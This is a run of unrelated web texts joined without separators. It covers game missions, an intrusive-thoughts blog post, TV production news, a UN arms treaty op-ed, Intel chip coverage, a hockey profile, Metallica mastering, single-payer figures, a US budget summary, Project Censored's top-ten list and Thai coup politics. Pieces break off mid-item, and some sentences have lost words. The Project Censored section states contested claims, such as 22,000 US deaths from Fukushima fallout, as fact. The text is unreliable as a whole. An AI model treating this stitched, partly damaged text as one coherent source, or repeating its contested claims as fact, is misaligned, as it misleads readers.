Restrictions: Medium tanks of Tier IV and above.
Be in the top 10 players on your team by base experience earned (bonuses for the first victory of the day, premium account, etc., will not be counted to determine the top 10 players). You can receive the reward each time you complete the goal.
Weekly Mission 3 Goal
Playing medium tanks, destroy a total of 150 enemy vehicles. Reward
Medium Caliber Tank Gun Rammer
Conditions
Random Battles only.
Restrictions: Medium tanks of Tier IV and above. You can receive the reward each time you complete the goal.
Weekly Mission 4 Goal
Complete each of Weekly Missions 1, 2 and 3 at least once. Reward
Premium Account: 3 days
Conditions
Once per Account.
Weekly Mission 5 Goal
Destroy a total of 5 enemy medium tanks. Reward
25,000 Conditions
Random Battles only.
Tier restrictions: Tier IV and above. You can receive the reward each time you complete the goal.
These missions are available from 10th February at 06:10 until 15th February at 06:00 CET (GMT+1)..
Roll out, Commanders!,,, despair, and obsessions -- what is normal and what is not? Is your husband drinking too much? When does sadness become? What do those thoughts about your best's wife really mean?
By writing this blog we hope to open the door on private worries, and provide informed answers to commonplace questions about what is normal, what is wacky, and what is pathological. Our purpose is to provide an antidote to and worry by providing accurate information. If you have a question or something you have been wondering about-write to us. We want to hear from you and would be delighted to post on the topics you most want to hear about.
I'll begin with a topic near and dear to my heart: intrusive thoughts. I am a new mother. I adore my son. He is beautiful and sweet and playful. And, when he was younger, I couldn't stand at the top of my stairs without imagining myself dropping him down the stairs and seeing his tiny, helpless body writhing in pain. Scary image? Yes! Normal? Yes!
These are called intrusive thoughts. They happen to everyone and they can take many forms. Perhaps you've suddenly had the image of pushing someone off a train platform, kicking a dog, yelling in church, jumping out of a moving car, or stabbing someone you. While doing or wanting to do any of these things is not normal, having intrusive thoughts like these is normal. Sometimes thoughts like these come to us precisely because we do not want to act in this way; they are simply the most inappropriate thing your mind can imagine.
It turns out that trying not to have such thoughts by pushing them out of your mind, can actually make them stick around. This effect was nicely shown by researchers at Harvard University. In their study, they asked people to NOT think of a white bear. Participants were allowed to think about anything they wanted, except a white bear. The problem with taking on this challenge is that our mind wants to constantly check to see how we're doing. We check to see if we are succeeding at NOT thinking of that white bear, and then, oh no, there's the bear.
The very act of monitoring your thoughts for the absence of a thought can make it occur more frequently. When someone becomes very distressed by their intrusive thoughts, goes to great lengths to get rid of them, and prevent them from occurring, this can become a form of Disorder (OCD). People with this "bad thoughts" form of OCD often avoid things that could trigger these thoughts or being in situations where they might be at risk for acting on a thought. So, for example, someone might avoid taking the train, avoid using knives, or avoid holding a baby. In situations in which they can't avoid, they may turn to rituals, such as repetitive counting, or compulsive prayer to prevent anything bad from happening. If this sounds familiar to you, you might have OCD. To find out more, check out www.ocfoundation.org.
If you think you experience the more garden-variety form of intrusive thoughts-rest assured. They're normal. Next time they occur try to remember that there is a difference between a thought and an action, and don't waste your time trying to push the thought out of your mind. Just let it pop in and roll right out again. And don't hesitate to share the thought with a friend. They can be pretty entertaining (my husband tells me his all the time) and by sharing our experiences we take one more step toward figuring out what's normal.
Copyright: Hannah E. Reese**Since the time of writing, filming on Doctor Who has been pushed back to April**
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Steven Moffat could be a busy man later this month, with the news that both Sherlock series three and the Doctor Who 50th anniversary special are to begin filming on Monday 18 March.
Moffat is showrunner on the sci-fi series – which celebrates its half-century this year – as well co-creator of the detective drama, with Mark Gatiss.
Last week, Doctor Who executive producer Caro Skinner revealed that March 18 would see shooting start on the Doctor Who special, while Moffat’s wife Sue Vertue has since told independent Sherlock guide Sherlockology that work on the crime drama will kick off on the same day.
Thankfully, the first episode of Sherlock – in which fans will finally learn how the detective survived his seemingly fatal fall from the roof of a London hospital – is written by Gatiss, while co-executive-producer Vertue should also help free up Moffat to oversee filming on the anniversary special.
With Sherlock stars Benedict Cumberbatch and Martin Freeman increasingly busy with other projects, work on Sherlock series three will be split into two parts, with two episodes filming from 18 March before the final 90-minute instalment shoots the other side of an early summer break.
The Doctor Who 50th Anniversary special is expected to broadcast in November, to coincide with the original 1963 air date of the first ever episode, while Sherlock series three is also slated for late 2013.
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Follow @SherlockologyANALYSIS/OPINION:
It’s the kind of U.N. treaty you would expect - contradictory and unenforceable, one that would bind law-abiding nations while letting tyrants and terrorists off the hook. The Arms Trade Treaty currently being hammered out in Turtle Bay may well end up violating U.S. freedom and sovereignty, as well as common sense.
Negotiators at the U.N. expect to finalize a treaty by July 27. So far, we have only a “chairman’s draft paper” prepared by conference chairman Ambassador Roberto Garcia Moritan of Argentina. Its stated purpose is to establish “common international standards” for controlling and limiting the import, export and transfer of conventional arms, including small arms.
The draft provides a glimpse into what the final treaty might say - and what it says is fundamentally incoherent. On the one hand, it claims to uphold a nation’s right of self-defense. On the other, it calls on all nations, “without exception,” to limit arms transfers according to certain human rights criteria and whether they contribute to instability. In practice, Russia, Iran and China could use the self-defense clause to arm anyone, including Syria’s Bashar Assad. Meanwhile, they and others could invoke the human rights and anti-instability criteria to oppose U.S. arms sales to Israel, Taiwan, or others they consider objectionable.
The criteria that arms should not be used to “prolong” or “aggravate” instability is troubling. China could use such a provision to label U.S. arms sales to Taiwan as a violation of international law. In 1941, such a treaty would have made illegal the U.S. lend-lease program to aid Britain before Pearl Harbor.
The implication is absurd: If giving arms to an ally fighting a tyrant prolongs the conflict, the only “legal” option for the ally is to surrender.
Another problem is the draft’s invocation of “international human rights law.” Unfortunately, liberal activists often claim that strict gun control is a “human right.” This reference, then, could be interpreted in ways that infringe on Americans’ constitutional right to bear arms.
Why should we care what some U.N. treaty says? Just ignore it, you say, because our Constitution trumps everything. Well, not if the U.S. signs and the Senate ratifies it. At that point, the treaty carries the weight of U.S. domestic law.
Keep in mind that U.S. judges interpret the Constitution and the meaning of the Second Amendment. As the recent Obamacare decision showed, we never know what judges will say or how the treaty could influence them. Even if the president “signed” the treaty and the Senate refused to ratify it, gun control advocates and State Department transnationalist-leaning lawyers would argue that, under customary international law, the U.S. must implement the treaty’s restrictions lest we violate its “object and purpose.”
The draft’s human rights clauses could be misused in many ways to undercut U.S. interests. My Heritage Foundation colleague Ted Bromund notes that U.N. prohibitions on “conflict minerals” in cellphones were worked into the Dodd-Frank Act. With such precedent, imagine how the treaty could be used when guns, not phones, are at stake.
Other countries could use the treaty to boost their arms industries at our expense. Treaty language embracing European Union-blessed definitions of human rights and acceptable arms transfers could be used to protect their arms exporters from U.S. competition.
The administration may think it can take advantage of a treaty’s ambiguities, but the U.S. never does. Ours is a law-abiding nation. We try to live up to what we agree to. Besides, other countries won’t allow a double standard for us. They’ll insist that all aspects of the treaty - even those interpreted by anti-American U.N. bodies - apply to us. They’ll find willing allies within the U.S. who want to change our gun laws as eagerly as they do.
The bottom line: A U.N. Arms Trade Treaty will harm us while letting real offenders like Russia, Syria, and terrorists off the hook. Why on earth would we sign up to such a thing?
• Kim R. Holmes, a former assistant secretary of state, is a vice president at the Heritage Foundation (www.heritage.org).Follow him on Twitter @kimsmithholmes.
Copyright © 2019 The Washington Times, LLC. Click here for reprint permission.With the International Solid-State Circuits Conference less than a week away, Intel has released additional details on its hexa-core desktop, next generation mobile and dual-core Westmere processors. Much of the dual-core data was revealed last month when the CPU manufacturer launched Clarkdale (our review is here if you want additional information on the CPU and its integrated graphics core). When Intel set its internal goals for what its calling Westmere 6C, the company aimed to boost both core and cache count by 50 percent without increasing the processor's thermal envelope. Towards this end, the new Westmere chips will incorporate additional technologies to reduce the CPU's power consumption at idle.Westmere 6C (codename Gulftown) is a native six-core chip as shown above. Intel has crammed 1.17 billion transistors into a die that's approximately 240mm sq. The new chip carries 12MB up L3 (up from Nehalem's 8MB) and a TDP of 130W at 3.33GHz. In addition to the addition of hardware AES encryption instruction decode support, Intel has made a number of improvements to Gulftown's power consumption. Up until now, Intel's efforts to reduce CPU power consumption focused on what it calls the "Core"; the "Uncore" hardware couldn't be powered down or controlled to the same degree. Starting with Westmere, both sections of the CPU can be fine-tuned to minimize power consumption without adversely affecting processor performance. As part of its bid to increase CPU complexity and performance without driving up system-level power consumption, Westmere will also support low-voltage DDR3, which uses an operating voltage of 1.35v (down from 1.5v standard). According to Intel, using the lower voltage memory reduces memory power consumption by about 20 percent overall.The big mobile-specific tech that Intel has debuted with Arrandale (32nm Westmere 2C) is a Turbo Boost for graphics mode. While Intel's standard Turbo mode is available as well, the chip can also cut CPU frequency and ramp the IGP higher to improve graphics performance. Intel refers to this as "HD Graphics with dynamic frequency." How much of a boost this mode can deliver depends on which processor you've got. Intel's spec sheets for the Core i3 processor list a 500MHz standard frequency with a 667MHz maximum dynamic frequency while the Core i5 mobile parts top out at 766MHz. That's 1.33x and 1.53x above stock, respectively.There are two ways to take Intel's Dynamic Frequency technology. On the one hand, it's true that Intel's integrated GPUs have historically been terrible choices for gaming; what the parts have lacked in hardware functionality, they've made up for in terrible driver support. Arrandale's integrated IGP is more advanced than any of its desktop predecessors, but the "new" features Intel baked into the on-die GPU, such as hierarchical Z support, are technologies ATI and NVIDIA launched nearly nineago. Trailing your competition is one thing, trailing your competition by a decade is something else entirely.On the other hand, however, Intel's new IGP is indisputably the fastest, most gaming-friendly part the company has ever built. A 33 percent (or 53 percent) higher clockspeed isn't going to turn Arrandale's IGP into a discrete part from ATI or NVIDIA, but it should provide noticable performance improvements provided that the processor speed tradeoff doesn't obscure them. The ability to trade CPU cycles for GPU horsepower gives even a modest system additional flexibility; it's easy to see how this sort of capability could end up integrated into Intel's Atom product line in the not-too-distant future.In addition to its x86 CPU briefings, Intel will present a number of paper's at the ISSCC. Chief among these are the company's ongoing research into so-called "digital intelligence," high-speed point-to-point interconnects, and reconfigurable computing. Intel will also give more details on a 48-core single-chip processor it unveiled last December. One of the features the company will discuss is the chip's use of so-called circuit switching rather than packet switching when passing messages. By mapping out the route from core to core before actually sending a message, Intel claims it can vastly accelerate the speed at which information is passed within the chip structure.Since joining the professional ranks three years ago, Charles Hudon has compiled 75 goals and 87 assists in 207 regular-season games, in addition to four points in four AHL playoff games this year.
Even in a minuscule sample size of six NHL games, Hudon looked right at home on the ice, posting four points in his few minutes with the Montreal Canadiens.
To put it in the simplest terms, Hudon is a game changer. He’s someone who’s a threat every time he touches the puck, and despite Chris Terry’s power-play scoring ability, Hudon was the St. John’s IceCaps’ best player this season.
Highly touted as a playmaker in the QMJHL, Hudon has become one of the AHL’s best snipers. With his last three seasons showing 19, 28, and 27 goals, respectively, Hudon knows how to find the back of the net, and does it with precision.
Playing on the top line with Terry and Nikita Scherbak for the majority of the season, the trio showed fantastic chemistry. Terry was a great triggerman, and Scherbak used his creativity to set up his teammates, but it’s Hudon’s play that stood out the most.
He created most of his chances with a heavy forecheck and fantastic shot.
Hudon steals, snipes, and the IceCaps lead 2-1! pic.twitter.com/SVDnaPgfM5 — Scott Matla (@scottmatla) April 23, 2017
The above goal is a perfect representation of a classic Hudon goal. He picks the pocket of an opposing player and unleashes his quick wrist shot, leaving the goaltender with zero chance to react and make a save. He made a similar play on another lazy clearing attempt by the opposition earlier in the season (below). Defenders would do well to take care of the puck with Hudon on the prowl.
Charles Hudon steals, and then snipes his twelfth goal of the year pic.twitter.com/lT040RW3T8 — Scott Matla (@scottmatla) January 22, 2017
He possesses an absolutely lethal wrist shot; it’s quick, hard, and accurate. He does well spotting even the smallest gap in a goalie’s pads and ripping the puck right through it. While not utilized as often, Hudon is capable of uncorking a vicious slapshot as well, typically from just outside the faceoff circle.
To go along with his dynamite goal-scoring abilities, Hudon’s hands and speed with the puck set him apart from his peers. He can take a feed, immediately get behind the defence, and deke a goalie before finishing on the backhand.
Daniel Audette with a great feed, and Charles Hudon wins it for the @IceCapsAHL in overtime! pic.twitter.com/LFO88iArCm — Scott Matla (@scottmatla) March 12, 2017
Perhaps the only negative thing I can say about this season is that Hudon missed a decent chunk of games due to injuries. Yet despite missing that time, he still produced at nearly a point-per-game pace when he was healthy.
If Hudon survives the expansion draft this year, there’s zero reason why he shouldn’t be playing in a Montreal Canadiens sweater in the upcoming season. He’s performed above and beyond at the AHL level for the better part of three seasons and was a major leader on the ice.
There’s nothing left for the young forward to prove in the AHL. He’s shown he’s one of the best players in the minors and it’s time to allow him to establish himself in the NHL.
He doesn’t have to be thrown on a top line either, he can battle and earn his NHL ice time like everyone else. It’s clear, however, that Hudon has all the tools to make an impact in the NHL, and he could very well be the injection of youth and creativity that the Canadiens desperately need.According to mastering engineer Ian Shepherd, Metallica's new Death Magnetic album has a serious sonic problem: it has been compressed (in the audio sense of the word, not the file size sense) just about as much as it's possible to compress audio.
Part of the "loudness war," this type of compression is designed to make music sound as loud as possible at the expense of dynamic range (the difference between loud and softer sounds). Television advertisers use similar technology to get the most bang for their buck volume-wise, which is why ads often sound so much louder than television programs.
However, according to Shepherd, the problem goes beyond compression. He says some parts are actually distorted from digital clipping. "As you can easily see," he writes, "the CD version on the bottom has been heavily compressed, limited and/or clipped, and sounds massively distorted as a result." Later analysis showed that the CD is 10 dB louder than the Guitar Hero version, which sounds about twice as loud to the ear, according to one description. That's some wicked compression.
Shepherd's audio analysis (pictured to the above right courtesy of MusicRadar using the free open-source audio editor Audacity), demonstrates graphically the severe nature of the audio compression applied by Metallica's engineers to the CD version of the album, by comparing it to a recording from the Guitar Hero videogame. This version of Death Magnetic, featuring extended solos from James Hetfield and Kirk Hammett, became available within the game on Friday as an $18 download.
According to this analysis, audiophileswould be better off recording the songs from the videogame than buyingthe album because the Guitar Hero version has far more dynamic rangethan the hyper-compressed CD version.
Shepherd spotted a comment by oneway23 on a Metallicaforum that appears to contain a note from head engineer Ted Jensen of SterlingSound, the company that mastered the album.
"I'm certainly sympatheticto your reaction," read the note, "I getto slam my head against that brick wall every day. In this case, themixes were already brick-walled before they arrived at my place.
Suffice to say I would never be pushed to overdrive things as far asthey are here.
"Believe me I'm not proud to be associated withthis one, and we can only hope that some good will come from this insome form of backlash against volume above all else."
If this is true, and Jensen (whom the Death Magnetic liner notes identify as having mastered the album) received the mix in such a compressed form, it looks like the engineers who mixed the album before it was sent to the mastering facility – identified by Chris Vinnicombe of MusicRadar as Greg Fidelman and Andrew Scheps – are to blame, although ultimately, the fault lies with the arms race to have the loudest sounding albums regardless of what that does to musical nuance.
Shepherd links to a Metallica forum claim (registration required) that the band was not present during the mixing or mastering of Death Magnetic. User Hetfield1963 says James Hetfield told him via telephone, "I think things came out really good. They're going to be mixing itwhile we're away in Europe. Yeah, and that will be... well,we haven't donethat in a while. We've usually been around for the mixes."
So far, 2,730 fans have signed a petition asking that the album be re-mixed (as opposed to remixed) and/or remastered. Failing that, someone will eventually record themselves playing the song perfectly within the game and distribute it via bit torrent, and then Metallica's label will have another thing to get upset about.
Update: Ian Shepherd, a mastering engineer at SRT, appears to have pinpointed and analyzed the problem first. He credits Metallica fans with the idea of checking the compressed CD version with the Guitar Hero version. "There's no analysis needed, you can hear it plain as day," he said via email. "The realcredit lies with the fans on the Metallica forums who spotted this andpointed it out."
See Also:
(via MusicRadar; screenshot courtesy of MusicRadar; thanks, Matthew)Projected 10-Year Impact of HR 676 -- (John Conyers' Single Payer Healthcare Bill)
Increased Tax Revenue from Progressive Taxation: $17.568 Trillion
Deficit Reduction from Tax Increase Excess $02.889 Trillion
Additional Federal health Care Spending $14.679 Trillion
Total Savings from Health Care Efficiencies $09.634 Trillion
Reduced Private Spending $19.759 Trillion
Additional Spending -- Cost of Covering Everyone, $04.553 Trillion
and eliminating all co-payments and deductibles!)
Net REDUCED National Health Care Spending $5.081 TRILLION!!!
Really liked Bruh1's comment on the increased tax costs in Gerald Friedman's chart. Although there will be increased taxes, much of that increase is simply a redirection of current corporate healthcare payments, [and employee healthcare payments]. Under the new plan corporations and individual will be taxed for healthcare, rather than paying it directly to health care insurance companies, and the government will use those dollars to fund the single payer healthcare system that effectively allows the government to offer better healthcare benefits to company employees at a lower rate:
Bruh1's Comments:
"These three are paying that money anyway. The tax is swapping one for the other. It is not on top of what they are paying. The number that's relevant from a financial stand point is what one saves. You don't buy a car by saying 'well it would cost me 10000 here, but the same car would cost me 7000 there, so the price tag on the 7000 car is too expensive.' You say 'it saves me 3000 to buy from the other guy.' It's completely irrational to ignore basic finance here. From a financial standpoint, the businesses, employees and individuals are gaining $5 trillion for savings, consumption, wages, profits and building businesses. The guy who is being paid 50,000 is now may be able to ask for a raise of 53000 because there's that extra money sitting there not going into his health insurance. The employer may not give him the full savings, but the employer now loses the argument that wages are depressed due to health care. |
focus on the continued modification of eBay’s payment policy, which locked out competitors including Google Checkout, according to the suit. eBay’s motion to dismiss the tying claims was denied on Tuesday.
The judge also denied the company’s motion to strike paragraphs about its acquisitions of PayPal and Verisign that “demonstrate the historical progression of the eBay/PayPal business empire,” according to a Courthouse News Service report.In a proposal many say will never pass Congress as it stands, President Donald Trump outlined priorities Thursday for remaking the government: vastly increasing military spending and making a down payment on a border wall by diverting money from diplomacy, environmental protections and agricultural efforts. Though many aspects would affect Iowa if passed, here are examples:
AGRICULTURE
21 percent decrease
— Food stamps and crop subsidies exempted.
— Cuts $95 million from the Rural Business and Cooperative Service, which helps rural fire departments buy equipment and aids rural health care.
HOUSING AND URBAN DEVELOPMENT
13 percent decrease
— Eliminates the $3 billion Community Development Block Grant program, which has sent millions to Cedar Rapids for flood protection and rebuilding, as well as helps fund a range of services from revitalizing downtowns to helping the homeless to providing Meals on Wheels.
— Eliminates the $35 million for Section 4 Community Development and Affordable Housing. Using that, Iowa’s Community Housing Initiatives has provided more than 1,600 units of affordable housing.
HEALTH
18 percent decrease; no plan yet for Medicare and Medicaid.
— Decreases funding for the National Institutes of Health, a major sponsor of research at the University of Iowa. The UI got $159.4 million from the NIH in 205-2016.
— Increases funding for efforts to prevent and treat opioid addictions. Iowa saw 1,555 emergency room visits in 2014 at least partially brought on by opioid use.
ARTS AND CULTURE
Eliminates four agencies.
— Eliminates all $148 million for the National Endowment for the Arts. The Iowa Arts Council got $626,500 in 2016 and helped fund more than 500 events that touched an estimated 1 million Iowans, the Des Moines Register reported.
— Eliminates all $148 million for the National Endowment for the Humanities. Among the millions Iowa has received, emergency grants after the 2008 floods helped preserve an 1876 Coralville schoolhouse and materials from the National Czech & Slovak Museum & Library.
OTHER
— Adds a 6 percent increase to Veterans Affairs. Most would go to improving access to doctors. More than 1,200 veterans at the Iowa City VA Hospital were assigned to “ghost panels” — primary care doctors who were not actively providing care — in early 2016, a VA watchdog report found.
— Eliminates 19 agencies, including the Corporation for National and Community Service that operates AmeriCorps. The Gazette reported Thursday that more than 1,500 AmeriCorps members are at work in Iowa.
Sources: Washington Post, government agencies, Gazette archives.Learn more about Project Censored at www.projectcensored.org Related stories this week:
Uncensored, Sacramento style
Five local stories from 2012 that weren't on traditional media's radar.
Five local stories from 2012 that weren't on traditional media's radar. Advertisement
Overfished and dying oceans. Silent but deadly radiation blowback. Trillion-dollar bailouts of fat-cat banks. War crimes. Prison slavery. The big stories that never quite made a splash on network TV or the pages of daily newspapers don’t offer much reason for hope.
But Project Censored, which has documented insufficient media coverage of crucial stories since it began in 1967 at Sonoma State University, isn’t always about warm fuzzies. Each year, a group considers hundreds of news stories submitted by readers. Students search LexisNexis and other databases to see if the stories were underreported, and if so, they are then fact-checked by professors and experts in relevant fields.
A panel of academics and journalists chooses the top 25 stories and rates their significance. These finalists appear in Censored 2013: The Top Censored Stories and Media Analysis of 2011-2012, Project Censored’s annual book release, which drops this year on October 30.
In the book’s foreword, Dr. Nafeez Mosaddeq Ahmed speaks to the general public’s evolution and wariness with traditional-media narratives—and how, despite the many seeds of despair, there is promise. He writes: “The majority of people now hold views about Western governments and the nature of power that would have made them social pariahs 10 or 20 years ago.”
Citing polls from the media, Mosaddeq notes, “The majority are now skeptical of the Iraq War; the majority want an end to U.S. military involvement in Afghanistan; the majority resent the banks and financial sector, and blame them for the financial crisis; most people are now aware of environmental issues, more than ever before, and despite denialist confusion promulgated by fossil fuel industries, the majority in the United States and Britain are deeply concerned about global warming; most people are wary of conventional party politics and disillusioned with the mainstream parliamentary system.”
“In other words,” he continues, “there has been a massive popular shift in public opinion toward a progressive critique of the current political economic system.”
And ultimately, it’s the public—not the president and not the corporations—that will determine the future. There may be hope after all. Here’s Project Censored’s top 10 list for 2013.
01. Continued assault on civil liberties
President George W. Bush is remembered largely for his role in curbing civil liberties in the name of his war on terror. But it’s President Barack Obama who signed the 2012 National Defense Authorization Act, including its clause allowing for indefinite detention without trial for terrorism suspects. Obama promised that “my Administration will interpret them to avoid the constitutional conflict”—leaving us adrift if and when the next administration chooses to interpret them otherwise. Another law of concern is the National Defense Resources Preparedness executive order that Obama issued in March 2012. That order authorizes the president, “in the event of a potential threat to the security of the United States, to take actions necessary to ensure the availability of adequate resources and production capability, including services and critical technology, for national-defense requirements.” The president is to be advised on this course of action by “the National Security Council and Homeland Security Council, in conjunction with the National Economic Council.”
Journalist Chris Hedges, along with co-plaintiffs including Noam Chomsky and Daniel Ellsberg, won a case challenging the NDAA’s indefinite detention clause on September 1, when a federal judge blocked its enforcement, but her ruling was overturned on October 3, so the clause is back.
02. Oceans in peril
Our country has deemed its big banks “too big to fail.” But our oceans won’t be getting a bailout anytime soon, and their collapse could compromise life itself.
In a haunting article highlighted by Project Censored, Mother Jones reporter Julia Whitty paints a tenuous seascape—overfished, acidified, warming—and describes how the destruction of the ocean’s complex ecosystems jeopardizes the entire planet, not just the 70 percent that is water. Whitty compares ocean acidification caused by climate change to acidification that was one of the causes of the Great Dying, a mass extinction 252 million years ago. Life on Earth took 30 million years to recover.
In a more hopeful story, a study of 14 protected and 18 nonprotected ecosystems in the Mediterranean Sea showed dangerous levels of biomass depletion. But it also showed that the marine reserves were well-enforced, with five to 10 times larger fish populations than in unprotected areas. This encourages establishment and maintenance of more reserves.
03. U.S. deaths from Fukushima nuclear disaster
PHOTO BY TECH. SGT. JACOB N. BAILEY, U.S. AIR FORCE U.S. Secretary of Defense Leon Panetta discusses NATO operations in Libya. The BBC has reported on multiple crimes against humanity in Libya committed by NATO forces.
A plume of toxic fallout floated to the United States after Japan’s tragic Fukushima Dai-ichi nuclear-plant disaster on March 11, 2011. The U.S. Environmental Protection Agency found radiation levels in air, water and milk that were hundreds of times higher than normal across the United States. One month later, the EPA announced that radiation levels had declined, and they would cease testing.
But after making a Freedom of Information Act request, journalist Lucas Hixson published emails revealing that on March 24, 2011, the task of collecting nuclear data had been handed off from the U.S. Nuclear Regulatory Commission to the Nuclear Energy Institute, a nuclear-industry-lobbying group. And in one study that got little attention, scientists Joseph Mangano and Jeanette Sherman found that in the period following the Fukushima meltdowns, 14,000 more deaths than average were reported in the United States, mostly among infants. Later, Mangano and Sherman updated the number to 22,000.
04. FBI agents responsible for terrorists plots
We know that FBI agents go into communities such as mosques, both undercover and with the guise of building relationships, and quietly gather information about individuals. This is part of an approach to finding what the FBI now considers the most likely kind of terrorists, “lone wolves.” Its strategy: “seeking to identify those disgruntled few who might participate in a plot given the means and the opportunity. And then, in case after case, the government provides the plot, the means, and the opportunity,” writes Mother Jones journalist Trevor Aaronson.
The publication, along with the Investigative Reporting Program at UC Berkeley, examined the results of this strategy, 508 cases classified as terrorism-related that have come before the U.S. Department of Justice since the 9/11 terrorist attacks. In 243 of these cases an informant was involved; in 49 cases an informant actually led the plot. And “with three exceptions, all of the high-profile domestic terror plots of the last decade were actually FBI stings.”
05. Federal Reserve loaned trillions to major banks
The Federal Reserve was audited for the first time in its history this year. The audit report states, “From late 2007 through mid-2010, Reserve Banks provided more than a trillion dollars … in emergency loans to the financial sector to address strains in credit markets and to avert failures of individual institutions believed to be a threat to the stability of the financial system.”
These loans had significantly lower interest rates and fewer conditions than the high-profile Troubled Asset Relief Program bailouts, and were rife with conflicts of interest. Some examples: the CEO of JPMorgan Chase & Co. served as a board member of the Federal Reserve Bank of New York at the same time that his bank received more than $390 billion in financial assistance from the Fed. William Dudley, who is now the Federal Reserve Bank of New York president, was granted a conflict-of-interest waiver to let him keep investments in American International Group and General Electric at the same time the companies were given bailout funds. The audit was restricted to Federal Reserve lending during the financial crisis. On July 25, 2012, a bill to audit the Fed again, with fewer limitations, authored by U.S. Rep. Ron Paul, passed the House of Representatives. House Resolution 459 expected to die in the Senate, but the movement behind Paul and his calls to hold the Fed accountable, or abolish it altogether, seems to be growing.
PHOTO BY PETE SOUZA George Clooney (left), shown here discussing Sudan with President Barack Obama, was arrested under House Resolution 347, which established “restrictive zones” where one’s First Amendment right is null and void.
06. Small network of corporations run the global economy
Reporting on a study by researchers from the Swiss Federal Institute in Zurich didn’t make the rounds nearly enough, according to Censored 2013: The Top Censored Stories and Media Analysis of 2011-2012. They found that of 43,060 transnational companies, 147 control 40 percent of total global wealth. The researchers also built a model visually demonstrating how the connections between companies—what it calls the “super entity”—work. Some have criticized the study, saying control of assets doesn’t equate to ownership. True, but as we clearly saw in the 2008 financial collapse, corporations are capable of mismanaging assets in their control to the detriment of their actual owners. And a largely unregulated super entity like this is vulnerable to global collapse.
07. The International Year of Cooperatives
Can something really be censored when it’s straight from the United Nations? According to Project Censored evaluators, the traditional media underreported the United Nations declaring 2012 to be the International Year of the Cooperatives, based on the co-op business model’s stunning growth. The United Nations found that in 2012, 1 billion people worldwide are co-op member-owners, or one in five adults over the age of 15. The largest is Spain’s Mondragon Corporation, with more than 80,000 member-owners.
The United Nations predicts that by 2025, worker-owned co-ops will be the world’s fastest growing business model. Worker-owned cooperatives provide for equitable distribution of wealth, genuine connection to the workplace and, just maybe, a brighter future for our planet.
08. NATO war crimes in Libya
In January 2012, the BBC “revealed” how British Special Forces agents joined and “blended in” with rebels in Libya to help topple dictator Muammar Qaddafi, a story that alternative media sources had reported a year earlier. NATO admits to bombing a pipe factory in the Libyan city of Brega that was key to a water-supply system that brought tap water to 70 percent of Libyans; NATO said that Qaddafi was storing weapons in the factory.
In Censored 2013, writer James F. Tracy makes the point that historical relations between the United States and Libya were left out of traditional-media news coverage of the NATO campaign: “background knowledge and historical context confirming Al-Qaeda and Western involvement in the destabilization of the [Qaddafi] regime are also essential for making sense of corporate news narratives depicting the Libyan operation as a popular ’uprising.’”
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09. Prison slavery in the United States
On its website, the UNICOR manufacturing corporation proudly proclaims that its products are “Made in America.” That’s true, but they’re made in places in the United States where labor laws don’t apply, with workers often paid just 23 cents an hour to be exposed to toxic materials and have no legal recourse.
These places are U.S. prisons. Slavery conditions in prisons aren’t exactly news. It’s literally written into the Constitution: The 13th Amendment, which abolished slavery, outlaws “slavery nor involuntary servitude, except as a punishment for crime whereof the party shall have been duly convicted.” But the article highlighted by Project Censored this year reveal the current state of prison-slavery industries and its ties to war.
The majority of products manufactured by inmates are contracted to the United States Department of Defense. Inmates make complex parts for missile systems, battleship anti-aircraft guns, and land-mine sweepers, as well as night-vision goggles, body armor and camouflage uniforms. Of course, this is happening in the context of record-high imprisonment in the United States, where grossly disproportionate numbers of blacks and Hispanics are imprisoned and can’t vote even after they’re freed.
As psychologist Elliot D. Cohen puts it in this year’s book, “This system of slavery, like that which existed in this country before the Civil War, is also racist, as more than 60 percent of U.S. prisoners are people of color.”
10. House Resolution 347 criminalizes protest
H.R. 347, sometimes called the “criminalizing protest” or “anti-Occupy” bill, made some headlines. But concerned lawyers and other citizens worry that it could have disastrous effects for the First Amendment right to protest.
Officially called the Federal Restricted Buildings and Grounds Improvement Act, the law makes it a felony to “knowingly” enter a zone restricted under the law, or engage in “disorderly or disruptive” conduct in or near the zones. The restricted zones include anywhere the Secret Service may be—places such as the White House, areas hosting events deemed a “National Special Security Event,” or anywhere visited by the president, vice president and their immediate families; former presidents, vice presidents and certain family members; certain foreign dignitaries; major presidential and vice presidential candidates (within 120 days of an election); and other individuals as designated by a presidential executive order.
These people could be anywhere, and NSSEs have notoriously included the Democratic and Republican national conventions, Super Bowls, and the Academy Awards. So far, it seems the only time H.R. 347 has kicked in is with George Clooney’s high-profile arrest outside the Sudanese embassy. Clooney ultimately was not detained without trial—information that would be almost impossible to censor—but what about the rest of us who exist outside of the mainstream media’s spotlight?Privy Council president Prem Tinsulanonda has thrown his support behind Prime Minister Prayut Chan-o-cha, saying he can remain in power beyond his one-year roadmap time frame.
Prime Minister Prayut Chan-o-cha offers flowers to Privy Council President Prem Tinsulanonda. Gen Prayut led cabinet members and leaders of the armed forces in wishing Gen Prem a Happy New Year at his Si Sao Thewes residence Monday. (Photo by Apichart Jinakul)
"The prime minister does not have to retire as he is not a civil servant," Gen Prem said.
He was responding to a reporter who asked about the government and the National Council for Peace and Order (NCPO) having only a one-year timetable to do all that is required under their roadmap.
Gen Prem is the latest public figure to say that the Prayut government may have to stay in office beyond the NCPO's initial time frame.
The government has said the general election could be held in early 2016 instead of the end of 2015 which it stated earlier.
Gen Prem spoke after Gen Prayut, Deputy Prime Minister Prawit Wongsuwon, cabinet members and armed forces chiefs yesterday paid a visit to his Si Sao Thewes residence to wish him a Happy New Year.
Addressing the elder statesman, Gen Prayut said he and his group have always known that Gen Prem, a former prime minister, had contributed a lot to the country with his leadership, abilities and experience.
The premier said Gen Prem's good work would be an example for his group to follow in running the country with integrity, honesty, love and unity to move Thailand forward sustainably.
Gen Prem replied he was glad to see the gathering of well-wishers, which showed love and unity, adding that he favoured calling Gen Prayut "Prime Minister Uncle Too", saying this name would be more amiable. "Too" is Gen Prayut's nickname.
"If we still remember May 22 [the coup], you and the people in the country can be proud that Prime Minister Uncle Too grabbed power from the government, an act which returned peace and order to the country," Gen Prem said.
"It showed on that day that soldiers and the armed forces, along with Gen Prawit Wongsuwon and Gen Tanasak Patimapragorn, came out when it was necessary to take care of the country."
The privy council president regarded the takeover as "doing a favour for the country and expressing loyalty".
"Only a single person out of more than 60 million Thai people said the Thai army is not capable of anything except shooting," Gen Prem said without elaborating.
"Prime Minister Uncle Too has proven that, when the time comes for us to act, we can do things and also do good, and this is what it means to be a soldier."
Gen Prem told his well-wishers it is an important moment to show that when Thailand faces trouble and disunity, it is their duty for them to help take care of the country in line with their sacred vows.
